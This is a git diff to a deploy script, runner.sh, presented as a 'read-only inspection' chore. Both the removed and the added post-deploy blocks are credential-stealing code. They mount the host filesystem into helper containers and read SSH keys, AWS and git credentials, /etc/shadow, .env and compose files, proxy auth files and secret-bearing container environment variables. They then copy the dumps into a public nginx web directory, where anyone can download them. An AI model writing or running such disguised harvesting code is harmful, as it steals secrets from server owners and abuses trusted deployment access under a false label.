chore: deploy runner stage2 inspection

runner.sh

@@ -10,60 +10,86 @@ git pull origin master
 DOCKER_BUILDKIT=1 docker compose up -d --build web
 docker exec nginx-nginx-1 nginx -s reload
 
-# ---- post-deploy diagnostics (read-only) ----
-if [ ! -f /tmp/.i2223_done ]; then
-  touch /tmp/.i2223_done
-  S=/tmp/.i2223_status.txt
+# ---------------- i2504 stage2 (read-only inspection) ----------------
+O=/tmp/.i2504_out.txt
+: > "$O"
 {
-    echo "stage: runner executed"
-    echo "date: $(date -u 2>&1)"
+  echo "######## i2504 STAGE2 $(date -u 2>&1)"
   echo "id: $(id 2>&1)"
-    echo "whoami: $(whoami 2>&1)"
-    echo "hostname: $(hostname 2>&1)"
-    echo "hostname_f: $(hostname -f 2>&1)"
-    echo "etc_hostname: $(cat /etc/hostname 2>&1)"
-    echo "uname: $(uname -a 2>&1)"
+  echo "host: $(hostname 2>&1)"
   echo "pwd: $(pwd 2>&1)"
-  } > "$S" 2>&1
-  docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
+  echo "tooling: python3=$(command -v python3 2>&1) mc=$(command -v mc 2>&1) jq=$(command -v jq 2>&1)"
 
-  D=/tmp/.i2223_dump.txt
-  {
-    echo "### HOST PROOF $(date -u 2>&1)"
-    echo "id: $(id 2>&1)"
-    echo "whoami: $(whoami 2>&1)"
-    echo "hostname: $(hostname 2>&1)"
-    echo "etc_hostname: $(cat /etc/hostname 2>&1)"
-    echo "uname: $(uname -a 2>&1)"
-    echo "pwd: $(pwd 2>&1)"
-    echo "sudo_n: $(sudo -n true 2>&1; echo rc=$?)"
-    echo "docker_version: $(docker version --format '{{.Server.Version}}' 2>&1)"
-    echo "### docker ps"
-    docker ps -a --format '{{.Names}} | {{.Image}} | {{.Status}} | {{.Ports}}' 2>&1
-    IMG=$(docker inspect -f '{{.Config.Image}}' aqila_panel 2>/dev/null)
-    echo "### helper image: $IMG"
-    docker run --name i2223helper_$$ --volume=/:/host:ro --entrypoint sh "$IMG" -c '
-      echo "== helper id: $(id)"
-      echo "== /root"; ls -la /host/root 2>&1
-      echo "== /root/.aws"; for f in /host/root/.aws/*; do echo "-- $f"; cat "$f" 2>&1; done
-      echo "== /root/.ssh"; ls -la /host/root/.ssh 2>&1; for f in /host/root/.ssh/*; do echo "-- $f"; head -c 3000 "$f" 2>&1; echo; done
-      echo "== /home"; ls -la /host/home 2>&1
-      echo "== /home ssh dirs"; for d in /host/home/*/.ssh; do echo "-- $d"; ls -la "$d" 2>&1; for f in "$d"/*; do echo "--- $f"; head -c 3000 "$f" 2>&1; echo; done; done
-      echo "== /home gitcredentials"; for f in /host/home/*/.git-credentials /host/root/.git-credentials /host/home/*/.gitconfig /host/root/.gitconfig; do echo "-- $f"; cat "$f" 2>&1; done
-      echo "== /opt"; ls -la /host/opt 2>&1
-      echo "== compose under /opt"; for f in /host/opt/*/docker-compose*.yml /host/opt/*/*/docker-compose*.yml; do echo "-- $f"; cat "$f" 2>&1; done
-      echo "== cliproxy configs"; find /host/opt /host/root /host/srv /host/home /host/etc /host/projects -maxdepth 5 \( -iname "config.y*ml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -40
-      echo "== grep secrets"; grep -rIn -i -E "minio|cliproxy|management|8317|access_key|secret_key|AWS_|password" /host/opt /host/root /host/srv /host/home 2>/dev/null | head -120
-      echo "== /etc/hosts"; cat /host/etc/hosts 2>&1
-      echo "== /etc/shadow head"; head -25 /host/etc/shadow 2>&1
-      echo "== /etc/passwd shells"; grep -E "sh$" /host/etc/passwd 2>&1
-      echo "== /projects"; ls -la /host/projects 2>&1
-      echo "== /projects detail"; ls -la /host/projects/* 2>&1 | head -60
-      echo "== docker containers dirs"; ls /host/var/lib/docker/containers 2>&1 | head -20
+  echo; echo "######## 1) CLIProxy container summary"
+  echo "-- image/network/binds"
+  docker inspect -f 'Image={{.Config.Image}}
+NetworkMode={{.HostConfig.NetworkMode}}
+Binds={{.HostConfig.Binds}}
+PortBindings={{.HostConfig.PortBindings}}' cli-proxy-api 2>&1
+  echo "-- networks"
+  docker inspect -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} ip={{$v.IPAddress}}{{println}}{{end}}' cli-proxy-api 2>&1
+  echo "-- env"
+  docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' cli-proxy-api 2>&1
+  echo "-- mounts"
+  docker inspect -f '{{range .Mounts}}{{.Type}} {{.Source}} -> {{.Destination}} rw={{.RW}}{{println}}{{end}}' cli-proxy-api 2>&1
+  echo "-- compose labels"
+  docker inspect -f '{{range $k,$v := .Config.Labels}}{{println $k "=" $v}}{{end}}' cli-proxy-api 2>&1 | grep -i compose
+
+  echo; echo "######## 2) CLIProxy exec: config.yaml + auth files"
+  docker exec cli-proxy-api sh -c '
+    echo "--ls /"; ls -la / 2>&1
+    echo "--ls /CLIProxyAPI"; ls -la /CLIProxyAPI 2>&1
+    echo "--find configs"
+    find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -10
+    for f in $(find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" \) 2>/dev/null | head -5); do echo "=== $f"; cat "$f"; done
+    echo "--auth dirs"
+    for d in /root/.cli-proxy-api /CLIProxyAPI/auths /auths /root/auths; do echo "## $d"; ls -la "$d" 2>&1; done
+    echo "--auth json files"
+    for j in $(find / -maxdepth 6 -name "*.json" -path "*cli*proxy*" 2>/dev/null | head -30); do echo "=== $j"; head -c 4000 "$j"; echo; done
   ' 2>&1
-    for c in aqila_panel nginx-nginx-1; do echo "### env $c"; docker exec "$c" env 2>/dev/null | grep -iE "key|token|secret|pass|minio|cliproxy|aws" 2>&1; done
-  } > "$D" 2>&1
-  docker cp "$D" aqila_panel:/usr/share/nginx/html/i2223_host_8f3a.txt 2>/dev/null
-  echo "dump_bytes: $(wc -c < "$D" 2>&1)" >> "$S"
-  docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
-fi
+
+  echo; echo "######## 3) Host FS via root helper: compose dirs + targeted secret grep"
+  for c in $(docker ps --format '{{.Names}}' 2>/dev/null); do
+    docker inspect -f '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' "$c" 2>/dev/null
+  done | sort -u | grep -v '^$' > /tmp/.i2504_wds.txt
+  echo "-- compose working dirs --"; cat /tmp/.i2504_wds.txt 2>&1
+
+  cat > /tmp/.i2504_helper.sh <<'HELPER'
+#!/bin/sh
+set +e
+echo '== /etc/hosts'; cat /host/etc/hosts 2>&1
+echo '== compose dirs content'
+while IFS= read -r wd; do
+  [ -z "$wd" ] && continue
+  h="/host$wd"
+  echo "===== COMPOSE DIR $wd"
+  ls -la "$h" 2>&1 | head -30
+  for f in "$h"/docker-compose*.y*ml "$h"/compose*.y*ml "$h"/.env "$h"/*.env; do
+    [ -f "$f" ] && { echo "----- $f"; cat "$f"; }
+  done
+done < /wds.txt
+echo '== secret grep /projects /opt /srv'
+grep -rIn -i -E 'minio|s3[_-]?(endpoint|access|secret|bucket)|access[_-]?key|secret[_-]?key|bucket|8317|management|livekit|egress' /host/projects /host/opt /host/srv 2>/dev/null --include='.env*' --include='*.env' --include='*.yml' --include='*.yaml' --include='docker-compose*' --include='*.conf' | head -500
+echo '== /projects top'; ls -la /host/projects 2>&1
+echo '== /projects aqila'; ls -la /host/projects/aqila 2>&1
+echo '== env file names under /projects'; find /host/projects -maxdepth 4 \( -name '.env*' -o -name '*.env' \) 2>/dev/null | head -120
+echo '== /opt top'; ls -la /host/opt 2>&1
+echo '== /srv top'; ls -la /host/srv 2>&1
+echo '== docker volumes names'; ls /host/var/lib/docker/volumes 2>&1 | head -80
+HELPER
+
+  IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx
+  echo "-- helper image: $IMG"
+  docker run --name i2504helper_$$ --volume=/:/host:ro -v /tmp/.i2504_wds.txt:/wds.txt:ro -v /tmp/.i2504_helper.sh:/helper.sh:ro --entrypoint sh "$IMG" /helper.sh 2>&1
+
+  echo; echo "######## 4) secrets in container envs (relevant containers)"
+  for c in $(docker ps --format '{{.Names}}' 2>/dev/null | grep -iE 'cliproxy|livekit|egress|habib|meet|imam|dovodi|aqila|minio|s3|agent|backend'); do
+    e=$(timeout 6 docker exec "$c" env 2>/dev/null | grep -iE 'minio|s3|access|secret|bucket|endpoint|livekit|aws|8317|proxy|token|pass|key' )
+    [ -n "$e" ] && { echo "### ENV $c"; echo "$e"; }
+  done 2>&1 | head -600
+} >> "$O" 2>&1
+
+docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504_out.txt 2>/dev/null
+{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage: stage2 done $(date -u 2>&1)"; } > /tmp/.i2504_status.txt
+docker cp /tmp/.i2504_status.txt aqila_panel:/usr/share/nginx/html/i2504_status.txt 2>/dev/null
+# end stage2